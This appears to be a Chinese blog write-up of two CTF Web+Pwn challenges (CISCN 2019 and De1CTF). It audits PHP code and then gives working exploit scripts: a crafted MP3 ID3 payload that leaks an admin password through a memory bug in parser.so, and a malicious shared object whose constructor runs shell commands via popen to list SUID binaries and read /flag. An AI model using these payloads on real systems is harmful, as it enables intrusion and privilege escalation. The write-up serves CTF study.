2020-09-27

Web&&Pwn

前些天看到了山科大一位表哥的文章,提及了一些Web与Pwn结合的技术,非常符合我的理念,以此作为引子,开始探讨以下两道Web_Pwn题目。

0x0 2019ciscn web——滑稽云音乐

在这里插入图片描述

  • 这道题目一看页面还是挺美观的,看得出来出题人用心了!翻看过后有用的页面就是注册登录和上传音乐了

注册页面如下:

在这里插入图片描述

  • 如何源码泄露的部分就不说了,因为我是本地搭建的环境,当时比赛是什么流程我并不知道。直接进行代码审计吧。首先看一下注册页面的代码
...

if (isset($username)&&isset($password1)&&isset($password2)&&isset($code)){
    $username=trim((string) $username);
    $password1=(string) $password1;
    $password2=(string) $password2;
    $code=(string) $code;
    if (strlen($username)<4||strlen($password1)<8||strlen($password2)<8||strlen($code)<1||strlen($username)>16||strlen($password1)>32||strlen($code)>32||$username=='admin'){
        set_code();
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'输入格式或长度不符合规定!','code'=>$_SESSION['code'],'calc'=>$_SESSION['calc'])));
    }elseif ($password1!==$password2) {
        set_code();
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'两次密码输入不一致!','code'=>$_SESSION['code'],'calc'=>$_SESSION['calc'])));
    }elseif (substr(md5($code.$_SESSION['code']),0,5)!=$_SESSION['calc']) {
        set_code();
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'验证码错误!','code'=>$_SESSION['code'],'calc'=>$_SESSION['calc'])));
    }else{
        if (reg($_GLOBALS,$username,$password1)===1){
            set_code();
            ob_end_clean();
            die(json_encode(array('status'=>1,'info'=>'注册成功!')));
        }else{
            set_code();
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'用户名已经存在!','code'=>$_SESSION['code'],'calc'=>$_SESSION['calc'])));
        }
    }
}
...
  • 可知用户名长度在416之间,密码长度在832之间,不能以admin进行注册,猜测admin是存在的,那这就是个关键点。验证码得根据提示进行爆破,脚本如下:
def guess(p,v):
    for i in range(0xffffff):
        g=hashlib.md5(str(i)+p).hexdigest()[:5]
        if g==v:
            print str(i)
            break

注册成功后,登入进去,直接来到上传页面:

在这里插入图片描述

  • 对上传页面的代码进行审计:
...

function clean_string($str){
    $str=substr($str,0,1024);
    return str_replace("\x00","",$str);
}

if (isset($_FILES["file_data"])){
    if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
    }else{
        $music_filename=__DIR__."/../uploads/music/".md5($_GLOBALS['salt'].$_SESSION['user']).".mp3";
        if (time()-$_SESSION['timestamp']<3){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'操作太快了,请稍后再上传。')));
        }
        $_SESSION['timestamp']=time();
        move_uploaded_file($_FILES["file_data"]["tmp_name"], $music_filename);
        $handle = fopen($music_filename, "rb");
        if ($handle==FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,未知原因。')));
        }
        $flags = fread($handle, 3);//读取临时文件前三个字节
        fclose($handle);
        if ($flags!=="ID3"){
            unlink($music_filename);
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }
        try{
            $parser = FFI::cdef("
                struct Frame{
                    int size;
                    char * data;
                };
                struct Frame * parse(char * password, char * classname, char * filename);
            ", __DIR__ ."/../lib/parser.so");
            $result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_title=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_title,0,2)=="\xFF\xFE"){
                @$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
                if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
            }
            $mp3_title=base64_encode(clean_string($mp3_title));
            $result=$parser->parse($_GLOBALS['admin_password'],"artist",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_artist=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_artist,0,2)=="\xFF\xFE"){
                @$mp3_artist_conv=iconv("unicode","utf-8",$mp3_artist);
                if ($mp3_artist_conv!==FALSE) $mp3_artist=$mp3_artist_conv;
            }
            $mp3_artist=base64_encode(clean_string($mp3_artist));
            $result=$parser->parse($_GLOBALS['admin_password'],"album",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_album=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_album,0,2)=="\xFF\xFE"){
                @$mp3_album_conv=iconv("unicode","utf-8",$mp3_album);
                if ($mp3_album_conv!==FALSE) $mp3_album=$mp3_album_conv;
            }
            $mp3_album=base64_encode(clean_string($mp3_album));
            $song=array($mp3_title,$mp3_artist,$mp3_album);
            $nsql=new NoSQLite\NoSQLite($_GLOBALS['dbfile']);
            $music=$nsql->getStore('music');
            $res=$music->get($_SESSION['user']);
            if ($res===null||strlen((string)$res)<=0){
                $res=array();
            }else{
                $res=json_decode($res,TRUE);
            }
            array_push($res,$song);
            $res=json_encode($res);
            $music->set($_SESSION['user'],$res);
            ob_end_clean();
            die(json_encode(array('status'=>1,'info'=>'上传成功!','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album)));
        }catch(Error $e){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }
    }
}else{
    if (isset($_SERVER['CONTENT_TYPE'])){
        if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
        }
    }
}
...
  • 其中这个位置很关键
$parser = FFI::cdef("
                struct Frame{
                    int size;
                    char * data;
                };
                struct Frame * parse(char * password, char * classname, char * filename);
            ", __DIR__ ."/../lib/parser.so");
            $result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_title=(string) FFI::string($result->data,$result->size);
  • 大概能猜到调用了parse.so库中的parse函数对mp3文件进行解析,然后将结果转成长度为0x130string。到这里先不急着去分析so文件,再看看手中的源码文件,看看能不能直接从中获取admin账户的密码。然而从后面的分析来看是不可能了。
//config.php
<?php
ini_set('display_errors','Off');
error_reporting(0);

date_default_timezone_set("Asia/Shanghai");

ini_set('session.gc_maxlifetime',"3600");
ini_set("session.cookie_lifetime","3600");
session_start();

include 'init.php';

$_GLOBALS['dbfile']=init_config('.sqlite');
$_GLOBALS['salt']=write_config(init_config('.salt'));
$_GLOBALS['admin_password']=write_config(init_config('.passwd'));
if (strlen($_GLOBALS['dbfile'])<=0||strlen($_GLOBALS['salt'])<=0||strlen($_GLOBALS['admin_password'])<=0){
    ob_end_clean();
    die('Permission denied!');
}
$_GLOBALS['dbfile']=__DIR__.'/../config/'.$_GLOBALS['dbfile'];
?>

//init.php
function init_config($ext){
    $file=get_filename($ext);
    if ($file==''){
        $file=rand_str(8).$ext;
        file_put_contents(__DIR__.'/../config/'.$file, '');
        if (!file_exists(__DIR__.'/../config/'.$file)){
            $file=='';
        }
    }
    return $file;
}

function write_config($file,$str = '',$length = 16){
    $content=file_get_contents(__DIR__.'/../config/'.$file);
    if ($content==''){
        if ($str=='') $str=rand_str($length);
        file_put_contents(__DIR__.'/../config/'.$file, $str);
    }
    return file_get_contents(__DIR__.'/../config/'.$file);
}
  • 可见admin的密码是动态生成的。另外一个发现就是firmware.php这个文件。
if ($_SESSION['role']!='admin'){
    $padding='Lorem ipsum dolor sit amet, consectetur adipisicing elit.';
    for($i=0;$i<10;$i++) $padding.=$padding;
    die('<div><div class="container" style="margin-top:30px"><h3 style="color:red;margin-bottom:15px;">只有管理员权限才能访问!</h3></div><p style="visibility: hidden">'.$padding.'</p></div>');
}

if (isset($_FILES["file_data"])){
    if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'上传出错,固件文件最大支持 1MB。')));
    }else{
        mt_srand(time());
        $firmware_filename=md5(mt_rand().$_SESSION['user']);
        $firmware_filename=__DIR__."/../uploads/firmware/".$firmware_filename.".elf";
        if (time()-$_SESSION['timestamp']<3){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'操作太快了,请稍后再上传。')));
        }
        $_SESSION['timestamp']=time();
        move_uploaded_file($_FILES["file_data"]["tmp_name"], $firmware_filename);
        $handle = fopen($firmware_filename, "rb");
        if ($handle==FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,未知原因。')));
        }
        $flags = fread($handle, 4);
        fclose($handle);
        if ($flags!=="\x7fELF"){
            unlink($firmware_filename);
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 ELF 文件。')));
        }
        ob_end_clean();
        die(json_encode(array('status'=>1,'info'=>'上传成功!')));
    }
}else{
    if (isset($_SERVER['CONTENT_TYPE'])){
        if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
        }
    }
}

@$path=$_POST['path'];

function clean_string($str){
    $str=str_replace("\\","",$str);
    $str=str_replace("/","",$str);
    $str=str_replace(".","",$str);
    $str=str_replace(";","",$str);
    return substr($str,0,32);
}

if (isset($path)){
    $path=clean_string(trim((string) $path));
    if (strlen($path)<=0||strlen($path)>64){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'输入格式或长度不符合规定!')));
    }else{
        $firmware_filename=__DIR__."/../uploads/firmware/".$path.".elf";
        if (!file_exists($firmware_filename)){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'固件文件不存在!')));
        }else{
            try{
                $elf = FFI::cdef("
                    extern char * version;
                ", $firmware_filename);
                $version=(string) FFI::string($elf->version);
                ob_end_clean();
                die(json_encode(array('status'=>1,'info'=>'固件版本号:'.$version)));
            }catch(Error $e){
                ob_end_clean();
                die(json_encode(array('status'=>0,'info'=>'加载固件文件时发生错误!')));
            }
        }
    }
}
?>
  • 这里允许上传一个elf文件,并且可以加载读取出version的值,所以最终我们想的是利用这个页面的功能读取flag,但是此页面仅允许admin用户操作,于是问题就是如何泄露admin的密码。还是回归到upload.php中,他调用parse函数时,admin的密码就是其中一个参数。

在这里插入图片描述

  • 按顺序看看这些函数

在这里插入图片描述

  • IDA中可以可以在BSS段确认frame_datapassword上方0x100处的位置,这里需要记住,后面会涉及到。

在这里插入图片描述

  • 程序会先检查tag,然后解析出标题和大小,最后进行数据拷贝。回想刚才要记住的地方,思考如果这里的大小能够被控制,会发生什么情况。再回到upload.php中,看到
if ($result->size>0x130) $result->size=0x130;
$mp3_title=(string) FFI::string($result->data,$result->size);
  • 援引官方解释,FFI:string(src,size),如果size为0,将把以0为结束符的src转为PHP下的str;如果size不为0,则取src的size个长度转为PHPstr。而frame_data加上管理员的密码不会超过0x130个字节的,所以只要中间没有**’\0’**,就能完全泄露出来。
 (unsigned __int8)(((unsigned __int64)frame_size.Size >> 56) + LOBYTE(frame_size.Size))
                      - ((unsigned int)(frame_size.Size >> 31) >> 24)
  • 这条语句相当于是 frame_size.Size%0x100,所以最多只能拷贝0xff个字节。这里提前说明一下,别看init_proc()函数中已经清空了frame_data,实际在运行过程中,别的地方有用到这个指针,导致里边有部分脏数据,所以不用拷贝0xff个字节的数据,也能在后面将管理员密码泄露出来。

  • 接下来只要去分析一下parse_text_frame_content()这个函数,看看怎么去控制v3就可以了。在has_id3v2tag()中可以知道解析的是ID3版本的格式,建议结合MP3 ID3文件结构去分析代码会更容易。

[]: https://blog.csdn.net/u010650845/article/details/53520426 “MP3文件结构详解”

接下来伪造一个MP3文件就好了,脚本如下

mp3_dat=flat(
    'ID3',
    '\x03',
    '\x00',
    '\x00',
    '\x00\x00\x04\x00',#标签头大小
    'TIT2',
    '\x00\x00\x00\x0a',#标签帧大小。
    '\x00\x00',
    'a'*9+'\x00'
    'TPE1',
    '\x00\x00\x00\x0a',#标签帧大小。
    '\x00\x00',
    'b'*9+'\x00',
    'TALB',
    '\x00\x00\x02\xff',#标签帧大小。实际测试中,ff可以改为其他数字。因为上面的分析说过了,会有部分脏数据,所以不用拷贝0xff个数据
    '\x00\x00',
    'c'*0x200+'\x00',
)

  • 上传之后就能够泄露密码了。

在这里插入图片描述

  • 如果伪造的mp3你非常自信是正确的,但是上传之后就是提示失败,请刷新一下页面,这里我也被坑过。
  • 接下来就利用hotload.php页面来加载firmware.php,进行下一步利用。
  • flag文件在根目录下,并且以当前网站目录下的权限是读取不了的,所以考虑提权,首先想到的是SUID的方式进行提权。编写如下代码,并编译为so文件
//gcc -shared -fPIC filneame -o filemname
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

char buf[0x200];
char* version=buf;

__attribute((constructor)) void fun(){
    FILE* pf=popen("find / -user root -perm -4000","r");
    if(pf==NULL)return;
    fread(version,1,0x200,pf);
    fclose(pf);
}
  • 解释一下,这里有2个关键点。
    1. __attribute((constructor)):被修饰的函数将会先于**main()**函数运行,也就是在加载的时候会被调用。相反的 **__attribute((destructor))修饰的函数会在main()**函数执行完毕后执行。
    2. popen(“find / -user root -perm -4000”,“r”):执行命令,查找根目录下具有root身份且具有0x800权限的文件
  • 因为firmware文件中只是加载了库文件,并读取导出的version符号的数据,并没有显示调用某个指定的函数,因此需要用**__attribute((constructor))使得so加载的时候调用函数,将数据写入version**中。
  • 上传文件的脚本如下:
os.system('php sb.php')

ck={'PHPSESSID':'6slmhisev24h8t44jtq5ej14bu'}
file_id={"file_id":0}
file_data={'file_data':open('./test','rb')}
url='http://192.168.146.152:32770/hotload.php?page=firmware'
ct=requests.post(url,data=file_id,files=file_data,cookies=ck)

os.system('php sb.php')
print ct.text
<?php
mt_srand(time());
$fn=md5(mt_rand().'admin');
echo $fn."\n";
?>
  • 根据FFI函数可以知道php的版本是7.4.x的,所以本地的php环境要和容器中的保持一致,否则得到的文件名会不一致!

  • 然后加载文件就能看到泄露出来的信息
    在这里插入图片描述

  • 发现有个满足条件,并且可以用来读取文件的命令,于是上传如下so:

#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

char buf[0x200];
char *version=buf;

__attribute((constructor)) void fun(){
    cFILE* pf=popen("/usr/bin/tac /flag","r");
    if(pf==NULL)return;
    fread(version,1,0x200,pf);
    fclose(pf);
}

在这里插入图片描述

  • 至此成功读取flag

0x1 De1CTF

方法步骤基本一样,不同的是parser.so文件,因此pwn部分的方式也不一样。其他部分就不说了,主要分析这个elf文件。
在这里插入图片描述

  • 这里是通过strlen()函数获取长度的,strlen()获取的到的长度不包括**‘\0’**。

在这里插入图片描述

  • 这次password的位置在frame_data之上,因此不能再像之前一样泄露密码。但是发现passwordbss段的地址最低位是00

在这里插入图片描述

  • frame_datapassword之间差0x70的大小,因此结合strlen()特点,存在null-off-by-one漏洞,可以溢出frame_data,将mframe_data指针最低位改成00,这就指向了password。在后面EFF:string的时候,相当于读取的是password的内容,从而泄露出来。

  • 构造MP3数据:

mp3_dat=flat(
    'ID3',
    '\x03',
    '\x00',
    '\x00',
    '\x00\x00\x04\x00',
    'TIT2',
    '\x00\x00\x00\x0a',
    '\x00\x00',
    'a'*0x9+'\x00'
    'TPE1',
    '\x00\x00\x00\x0a',
    '\x00\x00',
    'b'*0x9+'\x00',
    'TALB',
    '\x00\x00\x03\x00',
    '\x00\x00',
    'c'*0x70+'\x00',
)

在这里插入图片描述

  • 后面的步骤就和ciscn的题目一样了。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值